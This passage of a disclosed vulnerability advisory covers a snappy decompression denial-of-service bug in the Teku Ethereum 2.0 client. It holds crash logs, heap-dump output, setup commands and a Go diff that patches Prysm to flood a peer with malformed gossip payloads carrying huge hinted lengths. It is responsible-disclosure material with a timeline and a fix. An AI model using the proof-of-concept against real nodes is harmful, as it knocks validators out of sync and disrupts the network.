at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler$SimpleEth2TopicHandler.deserialize(Eth2TopicHandler.java:101) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.lambda$handleMessage$0(Eth2TopicHandler.java:42) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.infrastructure.async.SafeFuture.of(SafeFuture.java:76) ~[teku-infrastructure-async-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.handleMessage(Eth2TopicHandler.java:42) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
... 17 more
2020-09-04 12:27:30.617+02:00 | P2PService-event-thread-0 | WARN | Eth2TopicHandler | Encountered exception while processing message for topic /eth2/e7a75d5a/beacon_block/ssz_snappy
java.util.concurrent.CompletionException: java.lang.NegativeArraySizeException: -805306369
at java.util.concurrent.CompletableFuture.encodeThrowable(CompletableFuture.java:331) ~[?:?]
at java.util.concurrent.CompletableFuture.uniApplyNow(CompletableFuture.java:670) [?:?]
at java.util.concurrent.CompletableFuture.uniApplyStage(CompletableFuture.java:658) [?:?]
at java.util.concurrent.CompletableFuture.thenApply(CompletableFuture.java:2165) [?:?]
at tech.pegasys.teku.infrastructure.async.SafeFuture.thenApply(SafeFuture.java:329) [teku-infrastructure-async-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.handleMessage(Eth2TopicHandler.java:43) [teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.p2p.libp2p.gossip.GossipHandler.apply(GossipHandler.java:75) [teku-networking-p2p-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.p2p.libp2p.gossip.GossipHandler.apply(GossipHandler.java:33) [teku-networking-p2p-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at io.libp2p.pubsub.PubsubApiImpl.onNewMessage(PubsubApiImpl.kt:79) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.pubsub.PubsubApiImpl.access$onNewMessage(PubsubApiImpl.kt:22) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.pubsub.PubsubApiImpl$1.invoke(PubsubApiImpl.kt:63) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.pubsub.PubsubApiImpl$1.invoke(PubsubApiImpl.kt:22) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.pubsub.AbstractRouter.onInbound(AbstractRouter.kt:212) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.etc.util.P2PService.streamInbound(P2PService.kt:171) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.etc.util.P2PService$StreamHandler$channelRead$1.invoke(P2PService.kt:51) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.etc.util.P2PService$StreamHandler$channelRead$1.invoke(P2PService.kt:36) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.etc.util.P2PService$runOnEventThread$1.run(P2PService.kt:231) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) [?:?]
at java.util.concurrent.FutureTask.run(FutureTask.java:264) [?:?]
at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:304) [?:?]
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) [?:?]
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) [?:?]
at java.lang.Thread.run(Thread.java:830) [?:?]
Caused by: java.lang.NegativeArraySizeException: -805306369
at org.xerial.snappy.Snappy.uncompress(Snappy.java:491) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
at tech.pegasys.teku.networking.eth2.gossip.encoding.SnappyBlockCompressor.uncompress(SnappyBlockCompressor.java:29) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.encoding.SszSnappyEncoding.decode(SszSnappyEncoding.java:41) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler$SimpleEth2TopicHandler.deserialize(Eth2TopicHandler.java:101) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.lambda$handleMessage$0(Eth2TopicHandler.java:42) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.infrastructure.async.SafeFuture.of(SafeFuture.java:76) ~[teku-infrastructure-async-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.handleMessage(Eth2TopicHandler.java:42) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
... 17 more
2020-09-04 12:27:30.617+02:00 | P2PService-event-thread-0 | WARN | Eth2TopicHandler | Encountered exception while processing message for topic /eth2/e7a75d5a/beacon_block/ssz_snappy
java.util.concurrent.CompletionException: java.lang.NegativeArraySizeException: -1610612737
at java.util.concurrent.CompletableFuture.encodeThrowable(CompletableFuture.java:331) ~[?:?]
at java.util.concurrent.CompletableFuture.uniApplyNow(CompletableFuture.java:670) [?:?]
at java.util.concurrent.CompletableFuture.uniApplyStage(CompletableFuture.java:658) [?:?]
at java.util.concurrent.CompletableFuture.thenApply(CompletableFuture.java:2165) [?:?]
at tech.pegasys.teku.infrastructure.async.SafeFuture.thenApply(SafeFuture.java:329) [teku-infrastructure-async-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.handleMessage(Eth2TopicHandler.java:43) [teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.p2p.libp2p.gossip.GossipHandler.apply(GossipHandler.java:75) [teku-networking-p2p-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.p2p.libp2p.gossip.GossipHandler.apply(GossipHandler.java:33) [teku-networking-p2p-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at io.libp2p.pubsub.PubsubApiImpl.onNewMessage(PubsubApiImpl.kt:79) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.pubsub.PubsubApiImpl.access$onNewMessage(PubsubApiImpl.kt:22) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.pubsub.PubsubApiImpl$1.invoke(PubsubApiImpl.kt:63) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.pubsub.PubsubApiImpl$1.invoke(PubsubApiImpl.kt:22) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.pubsub.AbstractRouter.onInbound(AbstractRouter.kt:212) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.etc.util.P2PService.streamInbound(P2PService.kt:171) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.etc.util.P2PService$StreamHandler$channelRead$1.invoke(P2PService.kt:51) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.etc.util.P2PService$StreamHandler$channelRead$1.invoke(P2PService.kt:36) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.etc.util.P2PService$runOnEventThread$1.run(P2PService.kt:231) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) [?:?]
at java.util.concurrent.FutureTask.run(FutureTask.java:264) [?:?]
at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:304) [?:?]
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) [?:?]
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) [?:?]
at java.lang.Thread.run(Thread.java:830) [?:?]
Caused by: java.lang.NegativeArraySizeException: -1610612737
at org.xerial.snappy.Snappy.uncompress(Snappy.java:491) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
at tech.pegasys.teku.networking.eth2.gossip.encoding.SnappyBlockCompressor.uncompress(SnappyBlockCompressor.java:29) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.encoding.SszSnappyEncoding.decode(SszSnappyEncoding.java:41) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler$SimpleEth2TopicHandler.deserialize(Eth2TopicHandler.java:101) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.lambda$handleMessage$0(Eth2TopicHandler.java:42) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.infrastructure.async.SafeFuture.of(SafeFuture.java:76) ~[teku-infrastructure-async-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.handleMessage(Eth2TopicHandler.java:42) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
... 17 more
heap dump files:
Hinting a decompressed length of ~2GB 0x7fffffff forces the JVM to dump the heap.
12:19:36.851 INFO - Slot Event *** Slot: 222397, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 34
12:19:49.023 INFO - Slot Event *** Slot: 222398, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 35
12:20:00.978 INFO - Slot Event *** Slot: 222399, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 32
12:20:08.493 INFO - Epoch Event *** Epoch: 6950, Justified checkpoint: 6947, Finalized checkpoint: 6946, Finalized root: caadae..b936
12:20:19.203 INFO - Slot Event *** Slot: 222400, Block: ... empty, Epoch: 6950, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 32
12:20:25.148 INFO - Slot Event *** Slot: 222401, Block: ... empty, Epoch: 6950, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 33
12:20:35.005 INFO - Sync Event *** Current slot: 222402, Head slot: 222367, Connected peers: 32
java.lang.OutOfMemoryError: Java heap space
Dumping heap to java_pid12109.hprof ...
Heap dump file created [899176967 bytes in 4.576 secs]
12:21:08.746 INFO - Sync Event *** Current slot: 222403, Head slot: 222400, Connected peers: 31
12:21:15.845 INFO - Sync Event *** Current slot: 222404, Head slot: 222401, Connected peers: 31
12:21:16.913 INFO - Slot Event *** Slot: 222405, Block: ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 31
12:21:24.932 INFO - Slot Event *** Slot: 222406, Block: ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 31
900 MB heapdump
1785856 -rw------- 1 tintin staff 899176967 4 Sep 12:20 java_pid12109.hprof
2.4 Proof of Concept
Note:For simplicity, I ran the PoC and target node on the same system
Setup
Target (teku)
codebase: teku master@8167a9d42aaf2a05e127fba946ed8de1d8fe823e
./build/install/teku/bin/teku --network=medalla --validators-key-files=./mykeys/800068c_validator.json --validators-key-password-files=./mykeys/validator.pw --eth1-endpoint=https://goerli.prylabs.net --p2p-static-peers=/ip4/192.168.86.69/tcp/13000/p2p/16Uiu2HAmDpa8XGnBtnLpEYgJ9ETLERMVYBzb8iLVACzCXS8zrwwi --logging=DEBUG
Attacker (prysm)
codebase: prysm
go run . --unsafe-sync --disable-initial-sync-verify-all-signatures --enable-upnp --min-sync-peers=1 --chain-config-file=chain.yaml --deposit-contract=0x07b39F4fDE4A38bACe212b546dAc87C58DfE3fDC --contract-deployment-block=3085928 --datadir=medalla --verbosity=debug --peer=/ip4/192.168.86.69/tcp/9000/p2p/16Uiu2HAmTejkaE5vbzJQkeoRbrRCCPaDhh14JGc9RXFqWCJC4CJE --p2p-allowlist=192.168.0.0/16
I’ve patched prysm to perform the attack while syncing. We’re hinting a snappy encoded payload length of 0x<random-0-f>fffffff eventually causing an out of memory condition or just short-lived large allocations. Additionally, the attacker is sending the payload 10000000 times each sync loop. This should keep the peer pretty busy.
Note: In my tests it was enough to jus run the poc for a couple of seconds until mem consumption was close to max to cause teku fall behind not receiving blocks for multiple epochs. It is therefore assumed that the attacker does not have to flood the target continuously (the 10000000 is probably an overkill :D).
I can provide a fully working diff on request if someone wants to reproduce.
diff --git a/beacon-chain/p2p/encoder/ssz.go b/beacon-chain/p2p/encoder/ssz.go
index 5a0ac1cdc..4c015f358 100644
--- a/beacon-chain/p2p/encoder/ssz.go
+++ b/beacon-chain/p2p/encoder/ssz.go
@@ -4,6 +4,7 @@ import (
"fmt"
"io"
"sync"
+ "math/rand"
fastssz "github.com/ferranbt/fastssz"
"github.com/gogo/protobuf/proto"
@@ -39,9 +40,12 @@ func (e SszNetworkEncoder) doEncode(msg interface{}) ([]byte, error) {
// EncodeGossip the proto gossip message to the io.Writer.
func (e SszNetworkEncoder) EncodeGossip(w io.Writer, msg interface{}) (int, error) {
+ fmt.Println("----------------------------------> EncodeGossip")
+ /*
if msg == nil {
return 0, nil
}
+ fmt.Println("----------------------------------> EncodeGossip")
b, err := e.doEncode(msg)
if err != nil {
return 0, err
@@ -49,8 +53,29 @@ func (e SszNetworkEncoder) EncodeGossip(w io.Writer, msg interface{}) (int, erro
if uint64(len(b)) > MaxGossipSize {
return 0, errors.Errorf("gossip message exceeds max gossip size: %d bytes > %d bytes", len(b), MaxGossipSize)
}
- b = snappy.Encode(nil /*dst*/, b)
- return w.Write(b)
+ */
+ //b = snappy.Encode(nil /*dst*/, b)
+ //[byte(0xfe), 0xff , 0xff, 0xff, 0xf, 0xfe, 0xff , 0xff, 0xff, 0xf, 254, 1, 0, 218, 1, 0]
+ //b = []byte("\xfe\xff\xff\xff\x0f\xfe\xff\xff\xff\x0f\xfe\x01\x00\xa0\x01\x00")
+ //255 255 255 255 7
+ var r = make([]byte, 20)
+ _, err := rand.Read(r)
+ if err != nil {
+
+ }
+ var l = byte((rand.Intn(5)*3));
+
+ var lprefix = []byte("\xff\xff\xff\xff")
+ var garbage = []byte("\xfe\xff\xff\xff\x0f\xfe\x01\x00\xa0\x01\x00")
+ //var b = []byte("\xff\xff\xff\xff\x07\xfe\xff\xff\xff\x0f\xfe\x01\x00\xa0\x01\x00") //java.lang.OutOfMemoryError: Requested array size exceeds VM limit
+
+ //b = []byte("\xff\xff\xff\xff\x01\xfe\xff\xff\xff\x0f\xfe\x01\x00\xa0\x01\x00") //java.lang.OutOfMemoryError: Requested array size exceeds VM limit
+ fmt.Println("----------------------------------> EncodeGossip-writebyte")
+ //'\xff\xff\xff\xf7\x07
+ var b = append(lprefix[:], l)
+ b = append(b[:], garbage[:]...)
+ var res = append(b[:], r[:]...)
+ return w.Write(res)
}
// EncodeWithMaxLength the proto message to the io.Writer. This encoding prefixes the byte slice with a protobuf varint
loop:
+ for i := 0; i < 10000000; i++ {
+ fmt.Println(("boom boom"))
+ if err := s.p2p.Broadcast(ctx, blk); err != nil {
+ log.WithError(err).Error("Failed to broadcast block")
+ }
+
+ }
Root Cause
Snappy Uncompress calls xerial.Snappy.uncompress
Snappy.uncompress(received_data)
Xerial snappy uncompress allocs hinted length without sanity checking
byte[] result = new byte[Snappy.uncompressedLength(input)];
3 Vendor Response
This issue was reported on the attacknets github repository: https://github.com/ethereum/public-attacknets/issues/15
3.1 Timeline
Sep/04/2020 - submitted to eth2 public attacknets
Sep/04/2020 - confirmed by teku team
Oct/20/2020 - resolved
4 References
This issue was submitted as part of the Ethereum 2.0 Public Attacknet initiative.
The Ethereum Foundation is running an Ethereum 2.0 bug bounty program. Get in touch with them if you’ve found an issue or attack vector.